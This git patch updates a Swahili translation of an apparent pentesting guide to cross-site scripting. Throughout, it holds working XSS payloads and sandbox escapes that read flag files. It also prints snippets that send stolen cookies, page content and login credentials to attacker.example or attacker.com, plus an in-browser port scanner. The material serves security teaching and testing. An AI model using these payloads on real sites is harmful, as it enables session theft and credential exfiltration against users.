From cf29c0f7da1d9108f79d0deac232ab9f779553af Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:36:49 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting --- .../xss-cross-site-scripting/README.md | 496 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 44 +- 2 files changed, 308 insertions(+), 232 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index af508d4b9..f58fdb40b 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,66 +2,67 @@ {{#include ../../banners/hacktricks-training.md}} -## Methodology +## Mbinu -1. Angalia kama **thamani yoyote unayodhibiti** (_parameters_, _path_, _headers_?, _cookies_?) inarudi **katika** HTML au **inatumiwa** na **JS** code. -2. **Pata muktadha** ambapo inarudi/inatumika. -3. Ikiwa **inarudi** -1. Angalia **ni alama zipi unaweza kutumia** na kulingana na hiyo, andaa payload: -1. Katika **HTML safi**: -1. Je, unaweza kuunda vitambulisho vipya vya HTML? -2. Je, unaweza kutumia matukio au sifa zinazounga mkono `javascript:` protokali? -3. Je, unaweza kupita ulinzi? -4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? +1. Angalia kama **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) ina **reflected** kwenye HTML au inatumiwa na **JS** code. +2. Tafuta **context** ambako ime reflected/used. +3. Ikiwa **reflected** +1. Angalia **ni symbols gani unaweza kutumia** na kutegemea hayo, andaa payload: +1. Katika **raw HTML**: +1. Je, unaweza kuunda tags mpya za HTML? +2. Je, unaweza kutumia events au attributes zinazo-support `javascript:` protocol? +3. Je, unaweza ku-bypass protections? +4. Je, content ya HTML ina-interpretwa na engine yoyote ya client side JS (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Ikiwa huwezi kuunda HTML tags zinazotekeleza JS code, je, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. Ndani ya **HTML tag**: -1. Je, unaweza kutoka kwenye muktadha wa HTML safi? -2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code? -3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS? -4. Je, unaweza kupita ulinzi? +1. Je, unaweza kutoka hadi raw HTML context? +2. Je, unaweza kuunda events/attributes mpya za kuendesha JS code? +3. Je, attribute ambako umefungwa inasaidia utekelezaji wa JS? +4. Je, unaweza ku-bypass protections? 3. Ndani ya **JavaScript code**: 1. Je, unaweza kutoroka ``** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki: +Katika kesi hii ingizo lako linaakisiwa kati ya **``** tagi za ukurasa wa HTML, ndani ya faili `.js` au ndani ya attribute inayotumia protocol ya **`javascript:`**: -- Ikiwa inarejelewa kati ya **``** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `` iko ndani ya msimbo wa HTML. -- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa): +- Ikiwa inaakisiwa kati ya **``** tagi, hata kama ingizo lako iko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `` na kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu **kivinjari kwanza kitatafsiri tagi za HTML** kisha yaliyomo, kwa hivyo haitagundua kuwa tagi uliyoingiza `` iko ndani ya msimbo wa HTML. +- Ikiwa inaakisiwa **ndani ya JS string** na mbinu ya mwisho haitumiki utahitaji **kutoka** kwenye string, **kuendesha** msimbo wako na **kuunganisha upya** msimbo wa JS (kama kutakuwa na kosa lolote, hautatekelezwa: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Ikiwa inarejelewa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode encode** inafanya kazi kuandika **msimbo wa javascript halali**: +- Ikiwa inaakisiwa ndani ya template literals unaweza **kuingiza JS expressions** ukitumia sintaksia `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** inafanya kazi kuandika **valid javascript code**: ```javascript alert(1) alert(1) @@ -85,7 +86,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting inarejelea fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\ +Javascript Hoisting inarejelea fursa ya **kutangaza functions, variables au classes baada ya kutumika ili uweze kutumia mazingira ambapo XSS inatumia functions au variables ambazo hazijatangazwa.**\ **Angalia ukurasa ufuatao kwa maelezo zaidi:** @@ -95,19 +96,19 @@ js-hoisting.md ### Javascript Function -Kurasa kadhaa za wavuti zina mwisho ambao **zinakubali kama parameter jina la kazi ya kutekeleza**. Mfano wa kawaida wa kuona katika mazingira halisi ni kitu kama: `?callback=callbackFunc`. +Kurasa kadhaa za wavuti zina endpoints ambazo **zinakubali kama parameter jina la function la kutekeleza**. Mfano wa kawaida unaoonekana ni kitu kama: `?callback=callbackFunc`. -Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni **kubadilisha thamani ya param** (kwa mfano kuwa 'Vulnerable') na kutazama kwenye console kwa makosa kama: +Njia nzuri ya kugundua ikiwa kitu kinachotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni **kubadilisha thamani ya param** (kwa mfano kuwa 'Vulnerable') na kutazama console kwa makosa kama: ![](<../../images/image (711).png>) -Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na viwango vya chini (**`[\w\._]`**). +Iwapo ni vulnerable, unaweza kuweza **kusababisha alert** kwa kutuma thamani: **`?callback=alert(1)`**. Hata hivyo, mara nyingi endpoints hizi zitafanya **kuthibitisha maudhui** ili kuruhusu herufi, nambari, dots na underscores tu (**`[\w\._]`**). -Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**: +Hata hivyo, hata kwa kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia chars halali hizo ili **kupata access kwa element yoyote katika DOM**: ![](<../../images/image (747).png>) -Baadhi ya kazi muhimu kwa hili: +Baadhi ya functions zinazofaa kwa hili: ``` firstElementChild lastElementChild @@ -115,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -Unaweza pia kujaribu **kuanzisha kazi za Javascript** moja kwa moja: `obj.sales.delOrders`. +Unaweza pia kujaribu **kuchochea Javascript functions** moja kwa moja: `obj.sales.delOrders`. -Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho bila DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi. +Hata hivyo, kawaida endpoints zinazoendesha function iliyotajwa ni endpoints zisizo na DOM yenye kuvutia, **other pages in the same origin** zitakuwa na **DOM yenye kuvutia zaidi** za kufanya vitendo zaidi. -Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** utekaji wa **Same Origin Method Execution (SOME)** ulitengenezwa: +Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** ulibuniwa utekaji wa **Same Origin Method Execution (SOME)**: {{#ref}} some-same-origin-method-execution.md @@ -127,7 +128,7 @@ some-same-origin-method-execution.md ### DOM -Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka. +Kuna **JS code** inayotumia kwa **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hili kutekeleza arbitrary JS code. {{#ref}} dom-xss.md @@ -135,13 +136,14 @@ dom-xss.md ### **Universal XSS** -Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu unyakuzi wa mteja wa programu ya wavuti bali kwenye **muktadha wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\ -Baadhi ya **esemples**: +Aina hizi za XSS zinaweza kupatikana **mahali popote**. Hazitegemei tu unyonyaji wa client wa web application bali kwenye **muktadha** wowote. Aina hizi za **arbitrary JavaScript execution** zinaweza hata kutumika kupata **RCE**, **kusoma** **arbitrary** **files** kwa clients na servers, na mengine zaidi.\ +Baadhi ya **mifano**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} @@ -150,13 +152,13 @@ server-side-xss-dynamic-pdf.md ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Kuingiza ndani ya HTML safi +## Injecting inside raw HTML -Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\ -Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\***\***\*`-->`\*\***\***\*au \*\***`--!>`\*\*_ +Unapoweka input inayoonekana **ndani ya HTML page** au unaweza kutoroka na kuingiza HTML code katika muktadha huu, jambo la **kwanza** unalopaswa kufanya ni kuangalia kama unaweza kutumia `<` kuunda tag mpya: Jaribu tu **kuonyesha** hiyo **char** na angalia kama inafanyiwa **HTML encoded** au **kufutwa** au ikiwa inareflektiwa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utakapoweza kuitekeleza**.\ +Kwa kesi hizi pia **kumbuka** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Kumbuka: A HTML comment inaweza kufungwa kwa kutumia\*\***\***\*`-->`\*\***\***\*au \*\***`--!>`\*\*_ -Katika kesi hii na ikiwa hakuna orodha nyeusi/nyeupe inayotumika, unaweza kutumia payloads kama: +Katika kesi hii na kama hakuna black/whitelisting inayotumika, unaweza kutumia payloads kama: ```html ` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`. +Katika kesi hizi **input** yako itaonyeshwa ndani ya JS code ya faili ya `.js` au kati ya `` tags au kati ya matukio ya HTML yanayoweza kuendesha JS code au kati ya attributes zinazoruhusu protocol ya `javascript:`. ### Kutoroka \` unaweza kwa urahisi **kutoroka kufunga `` unaweza kwa urahisi kutoroka kufunga tag ya ` ``` -Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye. +Kumbuka kwamba katika mfano huu **hatujafunga hata single quote**. Hii ni kwa sababu **HTML parsing inafanywa kwanza na browser**, ambayo inahusisha kutambua vipengee vya ukurasa, ikiwa ni pamoja na blocks za script. Uchanganaji wa JavaScript ili kuelewa na kutekeleza script zilizowekwa ndani hunafanywa tu baadaye. -### Ndani ya msimbo wa JS +### Ndani ya JS code -Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa: +Iwapo `<>` zinasafishwa bado unaweza **escape the string** mahali ambapo input yako iko na **execute arbitrary JS**. Ni muhimu **fix JS syntax**, kwa sababu ikiwa kuna makosa yoyote, JS code haitatekelezwa: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` -### Template literals \`\` +#### JS-in-JS string break → inject → repair pattern -Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelezo ya JS** kwa kutumia sintaksia `${ ... }`.\ -Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**: +Wakati input ya mtumiaji inapofika ndani ya string ya JavaScript iliyowekwa kwa nukuu (mfano, server-side echo ndani ya inline script), unaweza kumaliza string, kuingiza code, na kurekebisha sintaksia ili parsing iendelee kuwa halali. Mfano wa jumla: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +Mfano wa muundo wa URL wakati parameter dhaifu inarudishwa ndani ya JS string: +``` +?param=test";;a=" +``` +Hii inatekeleza JS ya mshambuliaji bila kuhitaji kugusa muktadha wa HTML (pure JS-in-JS). Changanya na blacklist bypasses hapa chini wakati vichujio vinazuia maneno muhimu. -Hii inaweza **kutumiwa vibaya** kwa kutumia: +### Template literals `` + +Ili kujenga **strings** mbali na nukuu moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwa sababu zinaruhusu **embedded JS expressions** kwa kutumia sintaksia `${ ... }`.\ +Hivyo, ikiwa ugundua kwamba input yako inaonyeshwa (**reflected**) ndani ya JS string inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **arbitrary JS code**: + +This can be **abused** using: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -507,22 +524,37 @@ return loop } loop`` ``` -### Utekelezaji wa msimbo uliofungwa +### Utekelezaji wa code iliyosimbwa ```html @@ -946,22 +980,22 @@ Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria names ``` -### Mifumo Maalum ya Kubadilisha +### Mifumo Maalum ya Ubadilishaji -Wakati kitu kama **`"some {{template}} data".replace("{{template}}", )`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kujaribu kupita baadhi ya ulinzi: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Wakati kitu kama **`"some {{template}} data".replace("{{template}}", )`** kinapotumika, mshambuliaji anaweza kutumia [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kujaribu kuvuka baadhi ya ulinzi: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela. +Kwa mfano katika [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hili lilitumika ku**scape a JSON string** ndani ya script na kutekeleza arbitrary code. -### Kumbukumbu ya Chrome hadi XSS +### Chrome Cache to XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} -### Kutoroka kwa XS Jails +### XS Jails Escape -Ikiwa una seti ndogo tu ya wahusika kutumia, angalia suluhisho hizi nyingine halali za matatizo ya XSJail: +Ikiwa una seti ndogo tu ya chars za kutumia, angalia suluhisho hizi nyingine sahihi kwa matatizo ya XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -992,22 +1026,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa kitu chochote" ili kutumia utekelezaji wa msimbo usioaminika: +Iwapo **everything is undefined** kabla ya kutekeleza untrusted code (kama katika [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda useful objects "out of nothing" ili kutumia vibaya utekelezaji wa arbitrary untrusted code: -- Kutumia import() +- Using import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Kupata `require` kwa njia isiyo ya moja kwa moja -[Kulingana na hii](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zimefungwa na Node.js ndani ya kazi, kama hii: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zimefungwa na Node.js ndani ya function, kama ifuatavyo: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Kwa hivyo, ikiwa kutoka kwa moduli hiyo tunaweza **kuita kazi nyingine**, inawezekana kutumia `arguments.callee.caller.arguments[1]` kutoka kwa kazi hiyo kufikia **`require`**: +Kwa hivyo, ikiwa kutoka kwenye module hiyo tunaweza **call another function**, inawezekana kutumia `arguments.callee.caller.arguments[1]` kutoka kwa function hiyo kufikia **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1016,7 +1050,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Kwa njia sawa na mfano uliopita, inawezekana **kutumia waandishi wa makosa** kufikia **wrapper** ya moduli na kupata **`require`** kazi: +Kwa njia sawa na mfano uliopita, inawezekana kutumia **error handlers** kufikia **wrapper** ya module na kupata **`require`** function: ```javascript try { null.f() @@ -1056,12 +1090,12 @@ trigger() ``` ### Obfuscation & Advanced Bypass -- **Obfuscations tofauti katika ukurasa mmoja:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Obfuscations tofauti kwenye ukurasa mmoja:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) -- JSFuck yenye ujuzi zaidi: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +- JSFuck iliyo ngumu zaidi: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1235,9 +1269,9 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS common payloads +## XSS payloads za kawaida -### Several payloads in 1 +### Kadhaa payloads katika 1 {{#ref}} @@ -1246,14 +1280,14 @@ steal-info-js.md ### Iframe Trap -Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu): +Mfanya mtumiaji avinjari kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwa ni pamoja na taarifa zinazotumwa katika fomu): {{#ref}} ../iframe-traps.md {{#endref}} -### Retrieve Cookies +### Pata Cookies ```javascript /?c="+document.cookie> @@ -1276,7 +1310,7 @@ Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitend ``` > [!TIP] -> Hutaweza kupata vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa kuna [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika. +> **Hutaweza kupata cookies kwa JavaScript** ikiwa bendera ya HTTPOnly imewekwa katika cookie. Lakini hapa una [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) ikiwa utakuwa na bahati. ### Kuiba Maudhui ya Ukurasa ```javascript @@ -1291,7 +1325,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### Pata IP za ndani +### Tafuta IPs za ndani ```html ``` -### Scanner ya Bandari (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Skana wa Bandari (websockets) +### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` -### Kukamata nywila za kujaza kiotomatiki +### Kukamata nywila zilizojazwa kiotomatiki ```javascript Username:
@@ -1386,18 +1420,33 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja. +Ikiwa data yoyote inaingizwa katika uwanja wa password, username na password hutumwa kwenye server ya mshambuliaji; hata kama client atachagua saved password na hata hakutandika chochote, credentials zitatolewa (ex-filtrated). + +### Hijack form handlers ili exfiltrate credentials (const shadowing) + +Ikiwa handler muhimu (mfano, `function DoLogin(){...}`) imetangazwa baadaye kwenye ukurasa, na payload yako ikaanza mapema (mfano, kupitia inline JS-in-JS sink), define `const` yenye jina lile hilo kwanza ili kuzuia na kufunga handler. Matangazo ya function yaliyotokea baadaye hayawezi rebind jina la `const`, hivyo hook yako itabaki kuwa katika udhibiti: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Vidokezo +- Hii inategemea mpangilio wa utekelezaji: injection yako lazima itekelezwe kabla ya tamko halali. +- Iwapo payload yako imefungwa ndani ya `eval(...)`, vifungo `const/let` havitatokea kuwa globals. Tumia dynamic ` ``` -### Kuiba ujumbe wa PostMessage +### Kuiba ujumbe za PostMessage ```html ``` -### Kutumia Wafanyakazi wa Huduma +### Kutumia vibaya Service Workers {{#ref}} @@ -1441,7 +1490,7 @@ shadow-dom.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Payloads za XSS za Kijinga +### Blind XSS payloads Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1510,7 +1559,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Kupata Maudhui Yaliyofichwa -Kutoka [**hiki andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa: +Kutoka kwenye [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotoweka kutoka JS, bado inawezekana kuzipata katika JS attributes kwenye objects tofauti. Kwa mfano, input ya REGEX bado inawezekana kuipata baada ya thamani ya input ya regex kuondolewa: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1527,7 +1576,7 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Orodha ya Brute-Force +### Brute-Force Orodha {{#ref}} @@ -1538,32 +1587,34 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS katika Markdown -Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS! Angalia: +Unaweza kuingiza code ya Markdown itakayorendwa? Labda unaweza kupata XSS! Angalia: {{#ref}} xss-in-markdown.md {{#endref}} -### XSS kwa SSRF +### XSS hadi SSRF -Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii: +Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hadi SSRF** kupitia Edge Side Include Injection kwa payload hii: ```python ``` -Tumia ili kupita vizuizi vya cookie, XSS filters na mengi zaidi!\ +Tumia hili kuvuka vikwazo vya cookie, vichujio vya XSS na mengi zaidi!\ Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### XSS katika PDF inayoundwa kwa dinamik +### XSS katika PDF zinazotengenezwa kwa njia ya dynamic + +Kama ukurasa wa wavuti unabuni PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kulaghai bot** anayeitengeneza PDF ili **kutekeleza JS code yoyote**.\ +Hivyo, ikiwa **bot anayetengeneza PDF anapopata** aina fulani za **HTML** **tags**, itazitafsiri, na unaweza **kutumia** tabia hii kusababisha **Server XSS**. -Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\ -Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data ya PDF**: +Kama huwezi kuingiza HTML tags, inaweza kuwa vyema kujaribu **inject PDF data**: + {{#ref}} pdf-injection.md @@ -1571,15 +1622,15 @@ pdf-injection.md ### XSS katika Amp4Email -AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha kazi na kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, inayolenga kuharakisha utendakazi wa kurasa za wavuti kwenye vifaa vya mkononi, inajumuisha HTML tags zinazoambatana na JavaScript ili kuhakikisha utendakazi huku ikiweka msisitizo kwenye kasi na usalama. Inaunga mkono safu ya components kwa vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites). -Muundo wa [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengele maalum vya AMP kwa barua pepe, na kuwapa wapokeaji uwezo wa kuingiliana na maudhui moja kwa moja ndani ya barua zao pepe. +Muundo wa [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua components maalum za AMP kwa barua pepe, ukiruhusu wapokeaji kuingiliana na yaliyomo moja kwa moja ndani ya barua pepe zao. -Mfano [**writeup XSS katika Amp4Email katika Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Mfano [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### 